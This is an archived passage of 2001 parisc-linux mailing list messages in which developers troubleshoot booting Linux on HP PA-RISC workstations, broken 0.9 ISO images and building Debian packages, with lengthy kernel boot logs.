12. Unknown device (0) at 0xfffbe000, versions 0x484, 0x0, 0x4, 0x0, 0x81
13. UL Proc L 100 (1) at 0xfffbf000, versions 0x57, 0x0, 0x9, 0x0, 0x0
That's a total of 13 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/ram console=ttyS0
Calibrating delay loop... 99.73 BogoMIPS
Memory: 125076k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA bus adapter version 0x5761 at 0xffe00000
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 25<4>Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
PS/2 transmit buffer timrequest_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 08 00 09 AE 88 00 IRQ 87.
82596.c $Revision: 1.18 $
RAMDISK: Compressed image found at block 0
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI end
ttyS00 at iomem 0xffe02800 (irq = 121) is a 16550A

> There doesn't seem to be linefeeds at the end of the line, I hope it
> wraps correctly.

If you are using minicom, do 'ctrl-Z w' (assuming ctrl-z is the attention
char).  That turns on line wrap, so the output isn't truncated at 80 chars.
Also, 'ctrl-Z l' will let you turn on logging to a file.

> The mac address was read correctly. The ttyS00 line is the last thing to
> be printed.

For reference, my 715/old, which seems to have a similar initialisation
order to your system, continues something like this:

Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI ena bled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00


I wonder whether the serial driver has done something which killed
the serial port.  My approach would be to set up a cross-compile
environment to build kernels with printk debugging to see where
it actually stops.  Don't know if you fancy doing that though...

Richard





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Mon, 4 Jun 2001 06:47:40 -0500 (CDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106040644370.18856-100000@oliver.internal.sjdjweis.com>
References: <20010604113948.W25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620174 20308 80.91.229.3 (22 Nov 2014 01:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 05:46:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2A93482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 05:46:32 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id GAA20047;
	Mon, 4 Jun 2001 06:47:40 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010604113948.W25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11226

On Mon, 4 Jun 2001, Richard Hirst wrote:
> On Sun, Jun 03, 2001 at 05:44:33PM -0500, djweis@sjdjweis.com wrote:
> > On Sun, 3 Jun 2001, Richard Hirst wrote:
> > > On Sun, Jun 03, 2001 at 12:41:46PM -0500, djweis@sjdjweis.com wrote:
> > > > On Sun, 3 Jun 2001, Richard Hirst wrote:
> > > > > On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > > > > > I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> > > > > > boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> > > > > > exact error messages, it looked like a register dump. 
> > > Ah, I'd assumed it got as far as starting the kernel and then the
> > > kernel crashed.  In this case I think it has failed reading the
> > > CD.  Can you read the CD on some other system to check it burned
> > > ok?  Are you confident that the CD drive is P5 and is working?
> > 
> > Okay, I managed to get bootp and tftp set up enough to get an image over
> > the wire. It did get into the kernel after a while and here are the boot
> > messages:
> 
> I've untangled the formatting to make them more readable:
> 
> RAMDISK: Compressed image found at block 0
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI end
> ttyS00 at iomem 0xffe02800 (irq = 121) is a 16550A

Good news, I noticed after a few boots that the hd access lights were
sequentially lighting up. It does make it into userspace because...

> I wonder whether the serial driver has done something which killed
> the serial port.  My approach would be to set up a cross-compile
> environment to build kernels with printk debugging to see where
> it actually stops.  Don't know if you fancy doing that though...

Already have it going. I grabbed nfsroot-small from the ftp server and it
does mount successfully. It kind of looks like it may be a mismatch
between my console= line for palo and the actual /dev tree. There was
another message to the list on the same thing earlier this AM. I'll try to
play with it tonite again.

Thanks for the help

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Mon, 4 Jun 2001 17:08:41 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20010604170841.A8900@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620174 20313 80.91.229.3 (22 Nov 2014 01:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 09:11:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD951CC72.dip.t-dialin.net [217.81.204.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C7EC482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 09:10:59 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id RAA09025
	for parisc-linux@parisc-linux.org; Mon, 4 Jun 2001 17:08:41 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11227

Hi,

maybe it just me, but I burned all three iso images from the France mirror
and none of it is bootable (tried on 712, C200 and J282). I get IPL checksum
error (C200/J282) or just dropping back to the bootprom (712). I could
mount them on my PC. The 0.5 ISO CD I've burned sometime ago works. So 
before more people burn coasters, could someone check, whether the images
are broken or I made an error buring the CDs.

Another question: I've tried the 64bit kernel on the C200 and got a
system not supported error. Is this a known problem or is the C200
really too old ? J282 (which AFAIK is older) booted the 64bit kernel 
just fine, but had some problems with the interrupt of the serial console
during install.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Mon, 4 Jun 2001 19:23:19 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20010604192319.A1435@solo.franken.de>
References: <20010604170841.A8900@solo.franken.de> <20010604173924.A1043@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620175 20318 80.91.229.3 (22 Nov 2014 01:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 11:25:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD951CDD3.dip.t-dialin.net [217.81.205.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70BEA482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 11:25:33 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id TAA01640
	for parisc-linux@parisc-linux.org; Mon, 4 Jun 2001 19:23:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010604173924.A1043@excalibur.cologne.de>; from parisc-linux@excalibur.cologne.de on Mon, Jun 04, 2001 at 05:39:24PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11229

On Mon, Jun 04, 2001 at 05:39:24PM +0200, Karsten Merker wrote:
> bash> md5sum palinux-0.9-32sti.iso.gz
> 8ec6565d49172302a39e844cea64c47b  palinux-0.9-32sti.iso.gz

ok, that's the same I have here. Looks like cdrecord messed up something:-(
Anyway thanks for the report.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Mon, 4 Jun 2001 18:52:34 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010604185234.Z25745@linuxcare.com>
References: <20010604170841.A8900@solo.franken.de> <20010604173924.A1043@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620175 20320 80.91.229.3 (22 Nov 2014 01:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 11:56:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F750482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 11:56:01 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 31282B007; Mon,  4 Jun 2001 18:52:34 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010604173924.A1043@excalibur.cologne.de>; from parisc-linux@excalibur.cologne.de on Mon, Jun 04, 2001 at 05:39:24PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11230

On Mon, Jun 04, 2001 at 05:39:24PM +0200, Karsten Merker wrote:
> I had some difficulties after the installation (with certain operations in
> vi I could repeatably crash the kernel and I got kernel panics on bootup
> when booting from harddisk), but both problems could be solved by using a
> current cvs kernel instead.

I think the vi problem can be avoided by changing the termtype.
See <http://bugs.parisc-linux.org/db/12/122.html>.

The kernel panics on boot are a known proboem with the sti
console.

> The only problem I had with the installation itself was that the dialog
> boxes looked a bit weird when using sticon.

Excellent, thanks very much for the report.

Richard





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dpkg-utils, ./configure --host, mysql3.23
Date: Mon, 4 Jun 2001 19:13:41 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010604191341.A25745@linuxcare.com>
References: <Pine.LNX.4.21.0106041203450.21361-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620176 20323 80.91.229.3 (22 Nov 2014 01:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: diab <diab@diab.rulez.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 12:17:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE7C5482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 12:17:04 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 010C9B007; Mon,  4 Jun 2001 19:13:41 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106041203450.21361-100000@droid3.webreklam.hu>; from diab@diab.rulez.org on Mon, Jun 04, 2001 at 12:19:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11231

On Mon, Jun 04, 2001 at 12:19:02PM +0200, diab wrote:
> 
> just tried to apt-get source wget to make a debianized version of it, but
> dpkg-utils (which contains dpkg-source) depends on perl5 which is not
> installed. this way it is kind of hard to simply make debs using the
> usual apt-get source approach.

I have a machine on which I just did a clean install from the 0.9 release
CD, and then upgraded all installed packages from the more-packages dir.
Installed various other debs from the CD and web also.

slab:/usr/src/wget# apt-get -b source wget
Reading Package Lists... Done
Building Dependency Tree... Done
Need to get 722kB of source archives.
Get:1 http://http.us.debian.org unstable/main wget 1.6-2 (dsc) [713B]
Get:2 http://http.us.debian.org unstable/main wget 1.6-2 (tar) [671kB]
Get:3 http://http.us.debian.org unstable/main wget 1.6-2 (diff) [50.4kB]                                                                   
dpkg-source: extracting wget in wget-1.6                                                                                                   
dpkg-buildpackage: source package is wget
dpkg-buildpackage: source version is 1.6-2
dpkg-buildpackage: source maintainer is Nicols Lichtmaier <nick@debian.org>
dpkg-buildpackage: build architecture is hppa

etc.  had to edit debian/rules to add --host=hppa-linux
to the configure line, but after that it builds ok.

The perl5 problem should be solved by the new version of apt
that is on the CD.  perl provides perl5, but the old apt you
(probably) have doesn't understand that.

Richard





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D310 boot messages
Date: Mon, 4 Jun 2001 14:16:49 -0500 (CDT)
Lines: 268
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106041410590.20217-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620176 20324 80.91.229.3 (22 Nov 2014 01:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 13:15:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31943482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 13:15:24 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id OAA20922
	for <parisc-linux@parisc-linux.org>; Mon, 4 Jun 2001 14:16:49 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
Xref: news.gmane.org gmane.linux.ports.parisc:11232

I looked through the kernel source for a while and found the pdc/iodc
console driver and changed my palo config to use ttyB and got a mostly
complete boot! Here are the boot messages:

Firmware Version  36.34

Duplex Console IO Dependent Code (IODC) revision 4

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

    Speed    Coprocessor State  Cache Size
  ---------  -----------------  ----------
   100 MHz   Functional          256 KB

  128 MB of memory configured and tested.

  Primary boot path:    4.5   (dec)   
  Alternate boot path:  16/5.2   (dec)   
  Console path:         0/0.0   (dec)   
  Keyboard path:        16/7.0   (dec)   

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > boot lan
Interact with IPL (Y or N)?> n

Booting... 
Network Station Address 080009-ae8800

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 0.91 djweis@djweis.internal.sjdjweis.com Sun Jun  3 21:02:48 CDT 2001
0/vmlinux 2602334 bytes @ 0x7000
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1507276 mediaptr 0x1000
Segment 1 load 00270000 size 181552 mediaptr 0x171000
Segment 2 load 002a0000 size 221560 mediaptr 0x19e000
Segment 3 load 002d8000 size 8192 mediaptr 0x1d5000
Segment 4 load 00305e88 size 75552 mediaptr 0x1d7e88
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
Linux version 2.4.0-pa10 (djweis@djweis.internal.sjdjweis.com) (gcc version 3.0 20010315 (prerelease)) #9 Mon Jun 4 12:50:30 CDT 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Newer Box
setup_cmdline(0x65328,0x65328,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.10 console=ttyB'
PALO initrd 0-0
model   00004840 00000481 00000000 00000000 77361cea 100000f0 00000004 00000072 00000072
vers    0000000c
CPUID   vers 0 rev 0
model   9000/811/D310
Total Memory: 128 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. UL 550 Lasi Core BA (11) at 0xf0100000, versions 0x2f, 0x0, 0x81, 0x0, 0x0,  additional addresses: 0xf010c000 0xf0100000 
2. UL 550 Core SCSI (10) at 0xf0106000, versions 0x2f, 0x0, 0x82, 0x0, 0x0
3. UL 350 Core LAN (802.3) (10) at 0xf0107000, versions 0x2f, 0x0, 0x8a, 0x0, 0x0
4. UL 550 Core Centronics (10) at 0xf0102000, versions 0x2f, 0x0, 0x74, 0x0, 0x0,  additional addresses: 0xf0101000 0xf0103000 
5. UL 550 Core PC Keyboard (10) at 0xf0108000, versions 0x2f, 0x0, 0x84, 0x0, 0x0
6. UL 550 Core PC Keyboard (10) at 0xf0108100, versions 0x2f, 0x0, 0x84, 0x0, 0x0
7. UL 550 Core Wax BA (11) at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0, 0x0
8. UL 550 Wax Core RS-232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c, 0x0, 0x0
9. UL 550 Wax EISA BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0, 0x0,  additional addresses: 0xf0088000 
10. Gecko BOA BC GSC+ Port (7) at 0xfff80000, versions 0x500, 0x0, 0xc, 0x0, 0x0
11. Bluefish Add-on FW-SCSI (4) at 0xfff84000, versions 0x13, 0x1, 0x89, 0x0, 0x80
12. Unknown device (0) at 0xfffbe000, versions 0x484, 0x0, 0x4, 0x0, 0x81
13. UL Proc L 100 (1) at 0xfffbf000, versions 0x57, 0x0, 0x9, 0x0, 0x0
That's a total of 13 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.10 console=ttyB
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126668k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
LED display at f010c000 registered
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA bus adapter version 0x5761 at 0xffe00000
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 U<4>Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
/2 transmit buffer timlp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 08 00 09 AE 88 00 IRQ 87.
82596.c $Revision: 1.18 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Testing ttyS0 (0x0000, 0xffe02800)...
ttyS00 at iomem 0xffe02800 (irq = 121) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: HP        Model: C1537A            Rev: HP02
  Type:   Sequential-Access                  ANSI SCSI revision: 02
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
  Type:   CD-ROM                             ANSI SCSI revision: 02
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: restart (scsi reset).
scsi1 : ncr53c8xx - version 3.3b
  Vendor: SEAGATE   Model: ST32550W          Rev: HP10
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST32550W          Rev: HP10
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34371W          Rev: HPM2
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
ncr53c720-0-<5,0>: tagged command queue depth set to 8
ncr53c720-0-<8,0>: tagged command queue depth set to 8
ncr53c720-0-<9,0>: tagged command queue depth set to 8
ncr53c720-0-<10,0>: tagged command queue depth set to 8
ncr53c720-0-<11,0>: tagged command queue depth set to 8
Detected scsi tape st0 at scsi0, channel 0, id 0, lun 0
st: bufsize 32768, wrt 30720, max init. buffers 4, s/g segs 16.
Detected scsi disk sda at scsi1, channel 0, id 5, lun 0
Detected scsi disk sdb at scsi1, channel 0, id 8, lun 0
Detected scsi disk sdc at scsi1, channel 0, id 9, lun 0
Detected scsi disk sdd at scsi1, channel 0, id 10, lun 0
Detected scsi disk sde at scsi1, channel 0, id 11, lun 0
ncr53c720-0-<5,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<5,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<5,0>: wide: wide=1 chg=0.
ncr53c720-0-<5,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<5,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<5,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 4165272 512-byte hdwr sectors (2133 MB)
Partition check:
 sda: unknown partition table
ncr53c720-0-<8,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<8,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<8,0>: wide: wide=1 chg=0.
ncr53c720-0-<8,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<8,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<8,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<8,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
 sdb: unknown partition table
ncr53c720-0-<9,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<9,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<9,0>: wide: wide=1 chg=0.
ncr53c720-0-<9,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<9,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<9,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<9,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdc: 4165272 512-byte hdwr sectors (2133 MB)
 sdc: unknown partition table
ncr53c720-0-<10,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<10,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<10,0>: wide: wide=1 chg=0.
ncr53c720-0-<10,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<10,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<10,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<10,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)
 sdd: unknown partition table
ncr53c720-0-<11,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<11,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<11,0>: wide: wide=1 chg=0.
ncr53c720-0-<11,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<11,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<11,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<11,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)
 sde: unknown partition table
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
Uniform CD-ROM driver Revision: 3.12
linear personality registered
raid0 personality registered
raid1 personality registered
raid5 personality registered
raid5: measuring checksumming speed
   8regs     :    75.819 MB/sec
   8regs_prefetch:    75.819 MB/sec
   32regs    :    88.392 MB/sec
   32regs_prefetch:    88.392 MB/sec
raid5: using function: 32regs_prefetch (88.392 MB/sec)
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
